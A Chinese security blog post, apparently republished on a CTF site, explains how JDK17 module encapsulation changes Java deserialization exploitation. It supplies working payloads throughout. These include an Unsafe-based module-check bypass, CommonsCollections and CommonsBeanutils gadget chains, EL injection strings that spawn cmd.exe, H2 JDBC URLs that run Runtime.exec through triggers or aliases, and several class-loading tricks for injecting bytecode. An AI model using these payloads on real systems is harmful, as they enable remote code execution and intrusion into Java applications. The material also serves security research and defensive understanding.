jdk17对java安全的影响

1.    前言
在线源码查看网站。
https://code.yawk.at/java/
jdk各版本下载(需注册)。
https://www.oracle.com/java/technologies/downloads/archive/

在了解JDK17对java安全的影响之前,需要了解高版本JDK有哪些新特性,这些新特性都基于JDK9开始的模块化。
分析过JDK源码的人会发现,在<=JDK8时,JDK核心代码位于rt.jar。

jdk17对java安全的影响

在>=JDK9时,JDK核心代码位于modules。

jdk17对java安全的影响

用jimage解压。

jimage extract modules

jdk17对java安全的影响

这就是模块化,每个模块都有一个核心配置文件,module-info.class。

jdk17对java安全的影响

一般而言,只有exports声明包名的类,才能使用,只有opens声明包名的类,才能反射其私有属性。但这些在JDK17之前,都没有正式上线,只是会提示不安全。

(实际上是JDK16开始的,但由于JDK16不是LTS版本,所以一般不提它)

jdk17对java安全的影响

JDK17之后,进行了强封装,所以当你想new一个没有 exports的类,会报错。

jdk17对java安全的影响

当你想反射一个私有属性,也会报错。

jdk17对java安全的影响

前者无解,后者却是有解的,我们跟进代码到java.lang.reflect.AccessibleObject#checkCanSetAccessible(java.lang.Class)

jdk17对java安全的影响

可以发现,如果源于同模块,就能返回true,使得校验通过。
所以前人发明出了修改当前运行类的模块偏移的办法。当然,可以看到这份代码也需要使用反射,但sun.misc包刚好是opens的。

public class Test {
public static void main(String[] args) throws Exception { patchModule(Test.class); BadAttributeValueExpException poc = new BadAttributeValueExpException(null); Field valfield = poc.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(poc, "foo"); } private static void patchModule(Class clazz){ try { Class UnsafeClass = Class.forName("sun.misc.Unsafe"); Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); Unsafe unsafe = (Unsafe)unsafeField.get(null); Object ObjectModule = Class.class.getMethod("getModule").invoke(Object.class); Class currentClass = clazz; long addr=unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); unsafe.getAndSetObject(currentClass,addr,ObjectModule); } catch (Exception e) { } } }

在写内存马和生成序列化payload的过程中,我们不可避免要使用大量反射,因此需要多次patchModule。

2.    BadAttributeValueExpException

最著名的readObject触发toString链条,在CC5,fastjson原生链,jackson原生链中都有它的身影。但它实际上只能用于JDK8-14,核心代码如下。

jdk17对java安全的影响

在JDK7中,它没有实现readObject()

jdk17对java安全的影响

在JDK15中,val属性变成String了。

jdk17对java安全的影响

不过好在触发toString有许多替代品,比如EventListenerList/HotSwappableTargetSource/TextAndMnemonicHashMap。

3.    TemplatesImpl

最最通用的字节码加载器,一个getter就能实现任意恶意代码,大部分反序列化链的最终sink点。在JDK16,因为模块化的强封装而完全不能使用。

jdk17对java安全的影响

因为反序列化的过程中本质上也是读取序列化的字节码,来实例化TemplatesImpl,因此想在低版本JDK中生成序列化payload,再去JDK16中反序列化,也是不可行的。

jdk17对java安全的影响

而且它没有好的替代品。也就是说JDK16往上,getter的反序列化链都只能走jdbc或者jndi,十分依赖出网和第三方依赖。


4.    CC234/CB/Fastjson/Jackson

这些全都用了TemplatesImpl,因此都不再可用,需要改造。

CommonsCollections系列可以循环反射来调用大部分方法,因此直接命令执行或者写文件都还是可以的。

jdk17对java安全的影响

如果想通过字节码加载类,可以使用MethodHandles这个加载器。

    public static void main(String[] args) throws Exception {
byte[] bs = Files.readAllBytes(Paths.get("D:\Downloads\workspace\javareadobject\bin\test\CmdCalc.class"));        java.lang.invoke.MethodHandles.lookup().defineClass(bs).newInstance();         }

但是它有个缺陷就是只能加载同包名下的类,因此在CC链中,它加载的类的包名必须为org.apache.commons.collections.functors

        byte[] memcode = Files.readAllBytes(Paths.get("D:\Downloads\workspace\javareadobject\bin\org\apache\commons\collections\functors\CmdCalc.class"));
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(MethodHandles.class), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"lookup", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("defineClass", new Class[]{byte[].class}, new Object[]{memcode}), new InstantiateTransformer(new Class[0], new Object[0]), new ConstantTransformer(1) };

CommonsBeanutils链,本质触发任意getter,失去了TemplatesImpl,只能走jdbc/jndi。
以最简单的SSRF为例。

package test;
import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URL;import java.util.PriorityQueue;import org.apache.commons.beanutils.BeanComparator;import sun.misc.Unsafe;
public class Test {
public static void main(String[] args) throws Exception { patchModule(Test.class); URL url = new URL("http://127.0.0.1:5667"); //url.getContent(); final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); queue.add("1"); queue.add("1"); setFieldValue(comparator, "property", "content"); setFieldValue(queue, "queue", new Object[]{url, url}); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser")); objectOutputStream.writeObject(queue); objectOutputStream.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser")); objectInputStream.readObject(); } private static void patchModule(Class clazz){ try { Class UnsafeClass = Class.forName("sun.misc.Unsafe"); Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); Unsafe unsafe = (Unsafe)unsafeField.get(null); Object ObjectModule = Class.class.getMethod("getModule").invoke(Object.class); Class currentClass = clazz; long addr=unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); unsafe.getAndSetObject(currentClass,addr,ObjectModule); } catch (Exception e) { } } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }

Fastjson/Jackson,本质toString转getter,失去了TemplatesImpl和BadAttributeValueExpException,只能走EventListenerList/HotSwappableTargetSource/TextAndMnemonicHashMap转jdbc/jndi。

5.    EL/Nashorn

JDK15完全移除了Nashorn

jdk17对java安全的影响

这使得EL表达式受到了极大的限制,因为我们通常都是用EL表达式转Nashorn来执行多行js代码。

${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd.exe','/c','calc']).start()")}

怎么办呢?还是可以用MethodHandles,但加载的类包名必须为javax.el

    public static void main(String[] args) throws Exception {
byte[] bs = Files.readAllBytes(Paths.get("D:\Downloads\workspace\javareadobject\bin\javax\el\CmdCalc.class")); String base64class = Base64.getEncoder().encodeToString(bs); String payload8 = "''.getClass().forName("java.lang.invoke.MethodHandles").getMethod("lookup").invoke(null).defineClass(''.getClass().forName("java.util.Base64").getMethod("getDecoder").invoke(null).decode("" + base64class + "")).newInstance()"; String el = "${" + payload8 + "}"; System.out.println(el); ELProcessor eLProcessor = new ELProcessor(); eLProcessor.eval(payload8);           }



6.    H2

H2作为最好用的jdbc,在高版本JDK也失去了Nashorn,这使得常规的命令执行payload失效了。

    public static void main(String[] args) throws Exception {
String driver = "org.h2.Driver"; Class.forName(driver); String payload1 = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ONn" + "INFORMATION_SCHEMA.TABLES AS $$//javascriptn" + "java.lang.Runtime.getRuntime().exec('calc')\;n" + "$$n"; System.out.println(payload1); Connection conn = DriverManager.getConnection(payload1); }

但还是可以通过非javascript的方式执行命令。

    public static void main(String[] args) throws Exception {
String driver = "org.h2.Driver"; Class.forName(driver); String payload4 = "jdbc:h2:mem:testdb;" + "TRACE_LEVEL_SYSTEM_OUT=3;" + "INIT=CREATE ALIAS EXEC AS '" + "String shellexec(String cmd) throws java.io.IOException " + "{Runtime.getRuntime().exec(cmd)\;return "1"\;}" + "'\;CALL EXEC ('calc')"; System.out.println(payload4); Connection conn = DriverManager.getConnection(payload4); }



7.    becl

JDK> 8u251就没了


8.    defineClass

在JDK17中,原生ClassLoader.defineClass需要反射,因此也受到模块化强封装的影响,需要patchModule

jdk17对java安全的影响

前面提到过patchModule所需的sun.misc.Unsafe,由于是opens,因此可以反射。它也曾经拥有过defineClass和defineAnonymousClass两个方法可以加载类,但分别于jdk11和jdk16被移除了。

    private static void jdk9_10() throws Exception{        byte[] decode = Base64.base64_decode(base64class);        ClassLoader classLoader = ClassLoader.getSystemClassLoader();        Field theUafeField = Unsafe.class.getDeclaredField("theUnsafe");        theUafeField.setAccessible(true);        Unsafe unsafe = (Unsafe) theUafeField.get(null);        Class<?> c2=unsafe.defineClass("Testx",decode,0,decode.length,classLoader,null);        c2.newInstance();            }
private static void jdk9_16() throws Exception{ byte[] decode = Base64.base64_decode(base64class); Field theUafeField = Unsafe.class.getDeclaredField("theUnsafe"); theUafeField.setAccessible(true); Unsafe unsafe = (Unsafe) theUafeField.get(null); Class<?> c2 = unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"),decode,null); c2.newInstance(); }

第三方依赖Rhino/js的org.mozilla.javascript.DefiningClassLoader#defineClass()没有任何限制,因此也可以接在CC链上。

        String classname = "CmdCalc";        FileInputStream inputFromFile = new FileInputStream("D:\Downloads\workspace\javareadobject\bin\test\"+classname+".class");        byte[] bs = new byte[inputFromFile.available()];        inputFromFile.read(bs);        String base64String = new String(Base64.getEncoder().encode(bs));        System.out.print(base64String);        DefiningClassLoader.class.newInstance().defineClass("test.CmdCalc",bs).newInstance();


9.    LDAP

对于LDAP,jdk17和高版本jdk11没有什么区别,都是默认无法远程加载class,可以反序列化和ObjectFactory。
也就是com.sun.jndi.ldap.VersionHelper中的

com.sun.jndi.ldap.object.trustURLCodebase=falsecom.sun.jndi.ldap.object.trustSerialData=true

jdk17对java安全的影响

但这并不意味着寻常的JNDI注入工具可以直接打JDK17,因为上面的那些细节,使得很多payload都需要做兼容性改造。

一直到JDK20,才会变成双false。

jdk17对java安全的影响

于是就过不去com.sun.jndi.ldap.Obj#decodeObject()中的校验了。

jdk17对java安全的影响

ObjectFactory呢?在JDK17里面,入口位于com.sun.jndi.ldap.LdapCtx#c_lookup()   

jdk17对java安全的影响

而JDK20,这里变成了。

jdk17对java安全的影响

跟进之后发现是从一个地址中筛选白名单factory,也就是类名必须符合”java.naming/com.sun.jndi.ldap.**;!*”条件。

jdk17对java安全的影响

同理,下面则是RMI协议的条件。简单来说ObjectFactory绕过在JDK20也失效了,JDK20+环境下的jndi注入转ldap将毫无意义。

不过RMI反序列化的点非常多,所以还有两个漏网之鱼,详情见。
https://vidar-team.feishu.cn/docx/ScXKd2ISEo8dL6xt5imcQbLInGc

原文始发于微信公众号(珂技知识分享):jdk17对java安全的影响

版权声明:admin 发表于 2024年9月25日 下午6:25。
转载请注明:jdk17对java安全的影响 | CTF导航

相关文章